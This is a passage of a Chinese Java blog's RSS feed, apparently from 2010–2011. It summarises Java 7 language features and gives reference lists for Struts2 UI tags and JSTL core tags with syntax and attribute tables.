&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return br.readLine();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; } <br />
&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 你可以定义关闭多个资源：<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; try (<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;InputStream in = new FileInputStream(src);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; OutputStream out = new FileOutputStream(dest))<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // code<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; } <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 为了支持这个行为，所有可关闭的类将被修改为可以实现一个Closable（可关闭的）接口。<br />
&nbsp;&nbsp; </p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 3 增强的对通用实例创建（diamond）的类型推断<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 类型推断是一个特殊的烦恼，下面的代码：<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Map&lt;String, List&lt;String&gt;&gt; anagrams = new HashMap&lt;String, List&lt;String&gt;&gt;(); </p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 通过类型推断后变成：<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Map&lt;String, List&lt;String&gt;&gt; anagrams = new HashMap&lt;&gt;(); <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这个&lt;&gt;被叫做diamond（钻石）运算符，这个运算符从引用的声明中推断类型。</p>
<p>&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 4 数字字面量下划线支持<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 很长的数字可读性不好，在Java 7中可以使用下划线分隔长int以及long了，如：<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int one_million = 1_000_000; <br />
&nbsp;&nbsp; 运算时先去除下划线，如：1_1 * 10 = 110，120 &#8211; 1_0 = 110<br />
&nbsp;&nbsp; </p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 5 switch中使用string<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 以前你在switch中只能使用number或enum。现在你可以使用string了：<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; String s = ...<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; switch(s) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case "quux":<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; processQuux(s);<br />
&nbsp;&nbsp;&nbsp;&nbsp; // fall-through<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case "foo":<br />
&nbsp;&nbsp; case "bar":<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; processFooOrBar(s);<br />
&nbsp;&nbsp;&nbsp;&nbsp; break;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; case "baz":<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; processBaz(s);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // fall-through<br />
&nbsp;&nbsp; default:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; processDefault(s);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;<br />
&nbsp;&nbsp;} </p>
<p>&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 6 二进制字面量<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 由于继承C语言，Java代码在传统上迫使程序员只能使用十进制，八进制或十六进制来表示数(numbers)。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 由于很少的域是以bit导向的，这种限制可能导致错误。你现在可以使用0b前缀创建二进制字面量：<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int binary = 0b1001_1001; <br />
&nbsp;&nbsp; 现在，你可以使用二进制字面量这种表示方式，并且使用非常简短的代码，可将二进制字符转换为数据类型，如在byte或short。<br />
&nbsp;&nbsp; byte aByte = (byte)0b001;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp; short aShort = (short)0b010;&nbsp;&nbsp;&nbsp; </p>
<p>&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 7 简化的可变参数调用<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 当程序员试图使用一个不可具体化的可变参数并调用一个*varargs* （可变）方法时，编辑器会生成一个&#8220;非安全操作&#8221;的警告。<br />
&nbsp;&nbsp; JDK 7将警告从call转移到了方法声明(methord declaration)的过程中。这样API设计者就可以使用vararg，因为警告的数量大大减少了。</p>
<img src ="http://www.blogjava.net/ywj-316/aggbug/346539.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/ywj-316/" target="_blank">junly</a> 2011-03-18 15:21 <a href="http://www.blogjava.net/ywj-316/archive/2011/03/18/346539.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>标签备忘</title><link>http://www.blogjava.net/ywj-316/archive/2010/11/22/338668.html</link><dc:creator>junly</dc:creator><author>junly</author><pubDate>Mon, 22 Nov 2010 02:41:00 GMT</pubDate><guid>http://www.blogjava.net/ywj-316/archive/2010/11/22/338668.html</guid><wfw:comment>http://www.blogjava.net/ywj-316/comments/338668.html</wfw:comment><comments>http://www.blogjava.net/ywj-316/archive/2010/11/22/338668.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/ywj-316/comments/commentRss/338668.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/ywj-316/services/trackbacks/338668.html</trackback:ping><description><![CDATA[<p>&nbsp;<br />
<span style="color: red">A：<br />
</span>&lt;s:a href=""&gt;&lt;/s:a&gt;-----超链接，类似于html里的&lt;a&gt;&lt;/a&gt;<br />
&lt;s:action name=""&gt;&lt;/s:action&gt;-----执行一个view里面的一个action<br />
&lt;s:actionerror/&gt;-----如果action的errors有值那么显示出来<br />
&lt;s:actionmessage/&gt;-----如果action的message有值那么显示出来<br />
&lt;s:append var="newMerList"&gt;-----添加一个值到list，类似于list.add();<br />
&nbsp;&lt;s:param value="merList1"&gt;&lt;/s:param&gt;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&lt;s:param value="merList2"&gt;&lt;/s:param&gt;&nbsp;&nbsp;&nbsp; <br />
&lt;/s:append&gt; </p>
<p>&lt;s:autocompleter&gt;&lt;/s:autocompleter&gt;-----自动完成&lt;s:combobox&gt;标签的内容，这个是ajax</p>
<p><span style="color: red"><strong>B：<br />
</strong></span>&lt;s:bean name=""&gt;&lt;/s:bean&gt;-----类似于struts1.x中的，JavaBean的值</p>
<p><span style="color: red"><strong>C：<br />
</strong></span>&lt;s:checkbox&gt;&lt;/s:checkbox&gt;-----复选框<br />
&lt;s:checkboxlist list=""&gt;&lt;/s:checkboxlist&gt;-----多选框<br />
&lt;s:combobox list=""&gt;&lt;/s:combobox&gt;-----下拉框<br />
&lt;s:component&gt;&lt;/s:component&gt;-----图像符号</p>
<p><span style="color: red"><strong>D：<br />
</strong></span>&lt;s:date name="time" format="yyyy/MM/dd"/&gt;-----获取日期格式<br />
&lt;s:datetimepicker&gt;&lt;/s:datetimepicker&gt;-----日期输入框<br />
&lt;s:debug&gt;&lt;/s:debug&gt;-----显示错误信息<br />
&lt;s:div&gt;&lt;/s:div&gt;-----表示一个块，类似于html的&lt;div&gt;&lt;/div&gt;<br />
&lt;s:doubleselect list="#appVar3" listKey="id" listValue="name" name="" doubleName="chinagra.chinagraCategory.id" -----双下拉框<br />
doubleId="mid" doubleList="#appVar4.get(top.id)" doubleListKey="id" doubleListValue="title" theme="simple"/&gt;<br />
List&lt;Category&gt; categories = chinagraService.searchProblemCategories();;<br />
Map&lt;Long, List&lt;ChinagraCategory&gt;&gt; chinagraCategories = new HashMap&lt;Long, List&lt;ChinagraCategory&gt;&gt;();<br />
for(Category category : categories) {<br />
&nbsp;chinagraCategories.put(category.getId(), chinagraCategoryService.queryByType(category.getId().toString()));<br />
}</p>
<p><span style="color: red"><strong>E：<br />
</strong></span>&lt;s:if test=""&gt;&lt;/s:if&gt;<br />
&lt;s:elseif test=""&gt;&lt;/s:elseif&gt;<br />
&lt;s:else&gt;&lt;/s:else&gt;-----这3个标签一起使用，表示条件判断</p>
<p><span style="color: red"><strong>F：<br />
</strong></span>&lt;s:fielderror&gt;&lt;/s:fielderror&gt;-----显示文件错误信息<br />
&lt;s:file&gt;&lt;/s:file&gt;-----文件上传<br />
&lt;s:form action=""&gt;&lt;/s:form&gt;-----获取相应form的值</p>
<p><span style="color: red"><strong>G：<br />
</strong></span>&lt;s:generator separator="'aaa,bbb,ccc,ddd'" val=","&gt;<br />
&nbsp;&lt;s:iterator&gt;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&lt;s:property/&gt;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp; &lt;/s:iterator&gt;<br />
&lt;/s:generator&gt;----和&lt;s:iterator&gt;标签一起使用</p>
<p><br />
<span style="color: red"><strong>H：<br />
</strong></span>&lt;s:head/&gt;-----在&lt;head&gt;&lt;/head&gt;里使用，表示头文件结束<br />
&lt;s:hidden name="user.name" value="junly"/&gt;&lt;/s:hidden&gt;-----隐藏值</p>
<p><span style="color: red"><strong>I：<br />
</strong></span>&lt;s:i18n name=""&gt;&lt;/s:i18n&gt;-----加载资源包到值堆栈<br />
&lt;s:include value=""&gt;&lt;/s:include&gt;-----包含一个输出，servlet或jsp页面<br />
&lt;s:inputtransferselect list=""&gt;&lt;/s:inputtransferselect&gt;-----获取form的一个输入<br />
&lt;s:iterator value="userlist" var="user" status="s"&gt;<br />
&nbsp;&lt;s:if test="#s.index == 0"&gt;<br />
&nbsp;&nbsp;&lt;s:property value="name"/&gt;<br />
&nbsp;&lt;/s:if&gt;<br />
&nbsp;&lt;s:property value="#s.even"/&gt;<br />
&nbsp;&nbsp;&nbsp; &lt;s:property value="#s.odd"/&gt;&nbsp;&nbsp; <br />
&nbsp;&lt;s:property value="#s.first"/&gt;&nbsp; <br />
&nbsp;&lt;s:property value="#s.last"/&gt;&nbsp; <br />
&nbsp;&lt;s:property value="#s.count"/&gt;&nbsp; <br />
&lt;/s:iterator&gt;-----用于遍历集合<br />
&lt;s:if test="#list.size &gt; 0 "&gt;&lt;/s:if&gt;-----判断 ActionContext.getContext().put("list", lists);<br />
&lt;s:elseif test="list.size &gt; 0 "&gt;&lt;/s:elseif&gt;<br />
&lt;s:else&gt;&lt;/s:else&gt;<br />
&lt;s:if test="searchCondition.filter!=null"&gt;</p>
<p><span style="color: red"><strong>L：<br />
</strong></span>&lt;s:label&gt;&lt;/s:label&gt;-----只读的标签</p>
<p><span style="color: red"><strong>M：<br />
</strong></span>&lt;s:merge&gt;&lt;/s:merge&gt;-----合并遍历集合出来的值</p>
<p><span style="color: red"><strong>O：<br />
</strong></span>&lt;s:optgroup&gt;&lt;/s:optgroup&gt;-----获取标签组<br />
&lt;s:optiontransferselect doubleList="" list="" doubleName=""&gt;&lt;/s:optiontransferselect&gt;-----左右选择框</p>
<p><span style="color: red"><strong>P：<br />
</strong></span>&lt;s:param name="pageSize" value="pageSize"/&gt;&lt;/s:param&gt;-----为其他标签提供参数<br />
&lt;s:password&gt;&lt;/s:password&gt;-----密码输入框<br />
&lt;s:property value="user.name" /&gt;-----得到'value'的属性<br />
&lt;s:push value=""&gt;&lt;/s:push&gt;-----value的值push到栈中,从而使property标签的能够获取value的属性</p>
<p style="color: red"><strong>R：</strong></p>
<p>&lt;s:radio name="type" list="#{0:'拍卖会',1:'展会'}" value="0"&gt;&lt;/s:radio&gt;-----单选按钮<br />
&lt;s:reset&gt;&lt;/s:reset&gt;-----重置按钮</p>
<p><span style="color: red"><strong>S：<br />
</strong></span>&lt;s:select list=""&gt;&lt;/s:select&gt;-----单选框<br />
&lt;s:set name=""&gt;&lt;/s:set&gt;-----赋予变量一个特定范围内的值<br />
&lt;s:sort comparator=""&gt;&lt;/s:sort&gt;-----通过属性给list分类<br />
&lt;s:submit&gt;&lt;/s:submit&gt;-----提交按钮<br />
&lt;s:subset source="#subList" start="1" count="2"&gt;-----为遍历集合输出子集&nbsp; <br />
&nbsp;&lt;s:iterator&gt;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&lt;s:property/&gt;&nbsp; <br />
&nbsp;&lt;/s:iterator&gt;&nbsp;&nbsp;&nbsp; <br />
&lt;/s:subset&gt;</p>
<p><br />
<span style="color: red"><strong>T：<br />
</strong></span>&lt;s:tabbedPanel id=""&gt;&lt;/s:tabbedPanel&gt;-----表格框<br />
&lt;s:table&gt;&lt;/s:table&gt;-----表格<br />
&lt;s:text name="error"/&gt;&lt;/s:text&gt;-----I18n文本信息<br />
&lt;s:textarea&gt;&lt;/s:textarea&gt;-----文本域输入框<br />
&lt;s:textfield&gt;&lt;/s:textfield&gt;-----文本输入框<br />
&lt;s:token&gt;&lt;/s:token&gt;-----拦截器<br />
&lt;s:tree&gt;&lt;/s:tree&gt;-----树<br />
&lt;s:treenode label=""&gt;&lt;/s:treenode&gt;-----树的结构</p>
<p><span style="color: red"><strong>U：<br />
</strong></span>&lt;s:updownselect list=""&gt;&lt;/s:updownselect&gt;-----多选择框<br />
&lt;s:url value="/academy/get-detail.action?academyInfo.id=${id}"&gt;&lt;/s:url&gt;-----创建url<br />
&lt;s:url action="search-big.action" escapeAmp="false" namespace="/problem"&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
&lt;s:param name="name" value="%{'all'}"/&gt;<br />
&lt;s:param name="id" value="0"/&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
&lt;s:param name="sex" value="user.sex"/&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
&lt;/s:url&gt;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>JSTL语法及参数&nbsp;&nbsp;&nbsp; <br />
JSTL包含以下的标签:&nbsp;&nbsp;&nbsp; <br />
常用的标签：如&lt;c:out&gt;、&lt;c:remove&gt;、&lt;c:catch&gt;、&lt;c:set&gt;等&nbsp;&nbsp;&nbsp; <br />
条件标签：如&lt;c:if&gt;&lt;c:when&gt;、&lt;c:choose&gt;、&lt;c:otherwise&gt;等&nbsp;&nbsp;&nbsp; <br />
URL标签：如&lt;c:import&gt;、&lt;c:redirect&gt;和&lt;c:url&gt;等&nbsp;&nbsp;&nbsp; <br />
XML标签：如&lt;xml:out&gt;等&nbsp;&nbsp;&nbsp; <br />
国际化输出标签：如&lt;fmt:timeZone&gt;等&nbsp;&nbsp;&nbsp; <br />
SQL标签：如&lt;sql:query&gt;、&lt;sql:update&gt;、&lt;sql:transaction&gt;等&nbsp;&nbsp;&nbsp;<br />
&nbsp; <br />
<span style="color: red"><strong>一般用途的标签:&nbsp;&nbsp;&nbsp; <br />
</strong></span><span style="color: red">1．&lt;c:out&gt;&nbsp;&nbsp;&nbsp; <br />
</span>没有Body时的语法&nbsp;&nbsp;&nbsp; <br />
&lt;c:out value=&#8221;value&#8221; [escapeXml=&#8221;{true|false}&#8221;] [default=&#8221;defaultValue&#8221;]/&gt;&nbsp;&nbsp;&nbsp; <br />
有Body时的语法&nbsp;&nbsp;&nbsp; <br />
&lt;c:out value=&#8221;value&#8221; [escapeXml=&#8221;{true|false}&#8221;]&gt;&nbsp;&nbsp;&nbsp; <br />
这里是Body部分&nbsp;&nbsp;&nbsp; <br />
&lt;/c:out&gt;&nbsp;&nbsp;&nbsp; <br />
&nbsp; <br />
名字 类型 描述&nbsp;&nbsp;&nbsp; <br />
value Object 将要输出的表达式&nbsp;&nbsp;&nbsp; <br />
escapeXml boolean 确定以下字符:&lt;,&gt;,&amp;,&#8217;,&#8221;在字符串中是否被除数，默认为true&nbsp;&nbsp;&nbsp; <br />
default Object 如果vaule计算后的结果是null，那么输出这个默认值&nbsp;&nbsp;&nbsp; </p>
<p><span style="color: red">2．&lt;c:set&gt;&nbsp;</span>&nbsp;&nbsp; <br />
这个标签用于在某个范围(page、request、session、application等)中使用某个名字设定特定的值，或者设定某个已经存在的javabean对象的属性。他类似于&lt;%request.setAttrbute(&#8220;name&#8221;,&#8221;value&#8221;);%&gt;&nbsp;&nbsp;&nbsp; <br />
语法1：使用value属性设定一个特定范围中的属性。&nbsp;&nbsp;&nbsp; <br />
&lt;c:set value=&#8221;value&#8221; var=&#8221;varName&#8221; [scope=&#8221;{page|request|session|application}&#8221;]/&gt;&nbsp;&nbsp;&nbsp; <br />
语法2：使用value属性设定一个特定范围中的属性，并带有一个Body。&nbsp;&nbsp;&nbsp; <br />
&lt;c:set var=&#8221;varName&#8221; [scope=&#8221;{page|request|session|application}&#8221;]&gt;&nbsp;&nbsp;&nbsp; <br />
Body部分&nbsp;&nbsp;&nbsp; <br />
&lt;/c:set&gt;&nbsp;&nbsp;&nbsp; <br />
语法3：设置某个特定对象的一个属性。&nbsp;&nbsp;&nbsp; <br />
&lt;c:set value=&#8221;value&#8221; target=&#8221;target&#8221; property=&#8221;propertyName&#8221;/&gt;&nbsp;&nbsp;&nbsp; <br />
语法4：设置某个特定对象的一个属性，并带有一个Body。&nbsp;&nbsp;&nbsp; <br />
&lt;c:set target=&#8221;target&#8221; property=&#8221;propertyName&#8221;&gt;&nbsp;&nbsp;&nbsp; <br />
Body部分&nbsp;&nbsp;&nbsp; <br />
&lt;/c:set&gt;&nbsp;&nbsp;&nbsp; <br />
&nbsp; <br />
名字 类型 描述&nbsp;&nbsp;&nbsp; <br />
value Object 将要计算的表到式。&nbsp;&nbsp;&nbsp; <br />
var String 用于表示value 值的属性，如果要在其他标签中使用，就是通过这 个var指定的值来进行的。它相当于在标签定义了一个变量，并且这个变量只能在标签中的一个。&nbsp;&nbsp;&nbsp; <br />
scope String var的有效范围，可以是page|request|session|application中的一个&nbsp;&nbsp;&nbsp; <br />
target String 将要设置属性的对象，它必须是javabean或则java.util.Map对象&nbsp;&nbsp;&nbsp; <br />
property Object 待设定的Target对象中的属性名字，比如在javabean中有个name属性，提供了setUserId方法，那么这里填userId。&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp; <br />
<span style="color: red">3．&lt;c:remove&gt;&nbsp;&nbsp;&nbsp; <br />
</span>&lt;c:remove var=&#8221;varName&#8221; [scope=&#8221;{page|request|session|application}&#8221;]/&gt;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp; <br />
<span style="color: red">4．&lt;c:catch&gt;&nbsp;&nbsp;</span>&nbsp; <br />
这个标签相当于捕获在它里边的标签抛出的异常对象&nbsp;&nbsp;&nbsp; <br />
&lt;c:catch [var=&#8221;varName&#8221;]&gt; //var是异常的名字&nbsp;&nbsp;&nbsp; <br />
内容&nbsp;&nbsp;&nbsp; <br />
&lt;/c:catch&gt;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp; <br />
<span style="color: red"><strong>条件标签&nbsp;&nbsp;&nbsp; <br />
</strong></span><span style="color: red">1． &lt;c:if&gt;&nbsp;&nbsp;&nbsp; <br />
</span>语法1：无Body情况&nbsp;&nbsp;&nbsp; <br />
&lt;c:if test=&#8221;testCondition&#8221; var=&#8221;varName&#8221; [scope=&#8221;page|request|session|application&#8221;]/&gt;&nbsp;&nbsp;&nbsp; <br />
语法2：有Body的情况&nbsp;&nbsp;&nbsp; <br />
&lt;c:if test=&#8221;testCondition&#8221; var=&#8221;varName&#8221; [scope=&#8221;page|request|session|application&#8221;]&gt;&nbsp;&nbsp;&nbsp; <br />
Body内容&nbsp;&nbsp;&nbsp; <br />
&lt;/c:if&gt;&nbsp;&nbsp;&nbsp; <br />
&nbsp; <br />
名字 类型 描述&nbsp;&nbsp;&nbsp; <br />
test Boolean 表达式的条件，相当于if()中的条件判断语句。&nbsp;&nbsp;&nbsp; <br />
var String 表示这个语句的名字。&nbsp;&nbsp;&nbsp; <br />
scope String var这个变量的作用范围。&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp; <br />
<span style="color: red">2．&lt;c:choose&gt;&nbsp;&nbsp;&nbsp; <br />
</span>语法：&lt;c:choose&gt;&nbsp;&nbsp;&nbsp; <br />
Body内容(&lt;c:when&gt;和&lt;c:otherwise&gt;子标签)&nbsp;&nbsp;&nbsp; <br />
&lt;/c:choose&gt;&nbsp;&nbsp;&nbsp; <br />
注意：它的Body只能由以下元素组成:&nbsp;&nbsp;&nbsp; <br />
1) 空格&nbsp;&nbsp;&nbsp; <br />
2) 0或多个&lt;c:when&gt;子标签，&lt;c:when&gt;必须在&lt;c:otherwise&gt;标签之前出现.&nbsp;&nbsp;&nbsp; <br />
3) 0个或多个&lt;c:otherwise&gt;子标签。&nbsp;&nbsp;&nbsp; <br />
&lt;c:choose&gt;<br />
&nbsp;&nbsp; &lt;c:when test="${param.age&gt;70}"&gt;<br />
&nbsp;&nbsp; 欢迎老年人<br />
&nbsp;&nbsp; &lt;/c:when&gt;<br />
&nbsp;&nbsp; &lt;c:when test="${param.age&lt;70 and param.age&gt;35}"&gt;<br />
&nbsp;&nbsp; 欢迎中年人<br />
&nbsp;&nbsp; &lt;/c:when&gt;<br />
&nbsp;&nbsp; &lt;c:otherwise&gt;<br />
&nbsp;&nbsp; 您的年龄有误!<br />
&nbsp;&nbsp; &lt;/c:otherwise&gt;<br />
&lt;/c:choose&gt;<br />
&nbsp; <br />
<span style="color: red">3．&lt;c:when&gt;&nbsp;&nbsp;&nbsp; <br />
</span>代表的是&lt;c:choose&gt;的一个条件分支,只能在&lt;c:choose&gt;中使用&nbsp;&nbsp;&nbsp; <br />
语法：&lt;c:when test=&#8221;testCondition&#8221;&gt; //test是boolean类型,用于判断条件真假&nbsp;&nbsp;&nbsp; <br />
Body语句&nbsp;&nbsp;&nbsp; <br />
&lt;/c:when&gt;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp; <br />
<span style="color: red">4．&lt;c:otherwise&gt;&nbsp;&nbsp;</span>&nbsp; <br />
代表的是&lt;c:choose&gt;中的最后选择。必须在最后出现&nbsp;&nbsp;&nbsp; <br />
&lt;c:otherwise&gt;&nbsp;&nbsp;&nbsp; <br />
内容&nbsp;&nbsp;&nbsp; <br />
&lt;/c:otherwise&gt;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp; <br />
<span style="color: red"><strong>迭代标签&nbsp;&nbsp;&nbsp; <br />
</strong></span><span style="color: red">1．&lt;c:forEach&gt;&nbsp;&nbsp;</span>&nbsp; <br />
语法1：在Collection中迭代&nbsp;&nbsp;&nbsp; <br />
&lt;c:forEach[var=&#8221;varName&#8221;] items=&#8221;collection&#8221; [varStatus=&#8221;varStatusName&#8221;]&nbsp;&nbsp;&nbsp; <br />
[begin=&#8221;begin&#8221;] [end=&#8221;end&#8221;] [step=&#8221;step&#8221;]&nbsp;&nbsp;&nbsp; <br />
Body内容&nbsp;&nbsp;&nbsp; <br />
&lt;/c:foeEach&gt;&nbsp;&nbsp;&nbsp; <br />
&nbsp; <br />
语法2：迭代固定的次数.&nbsp;&nbsp;&nbsp; <br />
&lt;c:forEach [var=&#8221;varName&#8221;] [varStatus=&#8221;varStatusName&#8221;]&nbsp;&nbsp;&nbsp; <br />
[begin=&#8221;begin&#8221;] [end=&#8221;end&#8221;] [step=&#8221;step&#8221;]&nbsp;&nbsp;&nbsp; <br />
Body内容&nbsp;&nbsp;&nbsp; <br />
&lt;/c:foeEach&gt;&nbsp;&nbsp;&nbsp; <br />
&nbsp; <br />
名字 类型 描述&nbsp;&nbsp;&nbsp; <br />
var String 迭代的参数，它是标签参数，在其他标签中通过它来引用这个标签中的内容。&nbsp;&nbsp;&nbsp; <br />
Items Collection、ArrayList、 要迭代的items集合.&nbsp;&nbsp;&nbsp; <br />
Iterator、Map、String、&nbsp;&nbsp;&nbsp; <br />
Eunmeration等&nbsp;&nbsp;&nbsp; <br />
VarStatus String 表示迭代的状态，可以访问迭代自身的信息&nbsp;&nbsp;&nbsp; <br />
Begin int 表示开始迭代的位置。&nbsp;&nbsp;&nbsp; <br />
End int 表示结束迭代的位置。&nbsp;&nbsp;&nbsp; <br />
Step int 表示迭代移动的步长，默认为1。&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp; <br />
<span style="color: red"><strong>URL相关的标签&nbsp;&nbsp;</strong></span>&nbsp; <br />
<span style="color: red">1．&lt;c:import&gt;&nbsp;</span>&nbsp;&nbsp; <br />
语法1：资源的内容使用String对象向外暴露&nbsp;&nbsp;&nbsp; <br />
&lt;c:import url=&#8221;url&#8221; [context=&#8221;context&#8221;]&nbsp;&nbsp;&nbsp; <br />
[var=&#8221;varName&#8221;] [scope=&#8221;{page|request|session|application}&#8221;] [charEncoding=&#8221;charEncoding&#8221;]&gt;&nbsp;&nbsp;&nbsp; <br />
内容&nbsp;&nbsp;&nbsp; <br />
&lt;/c:import&gt;&nbsp;&nbsp;&nbsp; <br />
&nbsp; <br />
语法2：资源的内容使用Reader对象向外暴露。&nbsp;&nbsp;&nbsp; <br />
&lt;c:import url=&#8221;url&#8221; [context=&#8221;context&#8221;]&nbsp;&nbsp;&nbsp; <br />
varReader=&#8221;varReaderName&#8221; [charEncoding=&#8221;charEncoding&#8221;]&gt;&nbsp;&nbsp;&nbsp; <br />
内容&nbsp;&nbsp;&nbsp; <br />
&lt;/c:import&gt;&nbsp;&nbsp;&nbsp; <br />
名字 类型 描述&nbsp;&nbsp;&nbsp; <br />
url String 待导入资源的URL，可以是相对路径和绝对路径，并且可以导入其他主机资源&nbsp;&nbsp;&nbsp; <br />
context String 当使用相对路径访问外部context资源时，context指定了这个资源的名字。&nbsp;&nbsp;&nbsp; <br />
var String 参数的名字。&nbsp;&nbsp;&nbsp; <br />
scope String var参数的作用范围。&nbsp;&nbsp;&nbsp; <br />
cahrEncoding String 输入资源的字符编码。&nbsp;&nbsp;&nbsp; <br />
varReader String 这个参数的类型是Reader,用于读取资源。&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp; <br />
<span style="color: red">2．&lt;c:redirct&gt;&nbsp;&nbsp;&nbsp; <br />
</span>语法1:没有Body的情况.&nbsp;&nbsp;&nbsp; <br />
&lt;c:redirect url=&#8221;value&#8221; [context=&#8221;context&#8221;]/&gt;&nbsp;&nbsp;&nbsp; <br />
语法2：有Body情况下，在Body中指定查询的参数&nbsp;&nbsp;&nbsp; <br />
&lt;c:redirect url=&#8221;value&#8221; [context=&#8221;context&#8221;]&gt;&nbsp;&nbsp;&nbsp; <br />
&lt;c:param name=&#8221;name&#8221; value=&#8221;value&#8221;/&gt;&nbsp;&nbsp;&nbsp; <br />
&lt;/c:redirect&gt;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp; <br />
<span style="color: red">3．&lt;c:url&gt;&nbsp;&nbsp;&nbsp; <br />
</span>语法1：没有Body&nbsp;&nbsp;&nbsp; <br />
&lt;c:url value=&#8221;value&#8221; [context=&#8221;context&#8221;] [var=&#8221;varName&#8221;] [scope=&#8221;{page|request|session+application}&#8221;]/&gt;&nbsp;&nbsp;&nbsp; <br />
语法2：有Body&nbsp;&nbsp;&nbsp; <br />
&lt;c:url value=&#8221;value&#8221; [context=&#8221;context&#8221;] [var=&#8221;varName&#8221;] [scope=&#8221;{page|request|session+application}&#8221;]&gt;&nbsp;&nbsp;&nbsp; <br />
&lt;c:param name=&#8221;name&#8221; value=&#8221;value&#8221;/&gt;&nbsp;&nbsp;&nbsp; <br />
&lt;/c:url&gt;&nbsp;&nbsp;&nbsp; <br />
&nbsp; <br />
名字 类型 描述&nbsp;&nbsp;&nbsp; <br />
value String URL值&nbsp;&nbsp;&nbsp; <br />
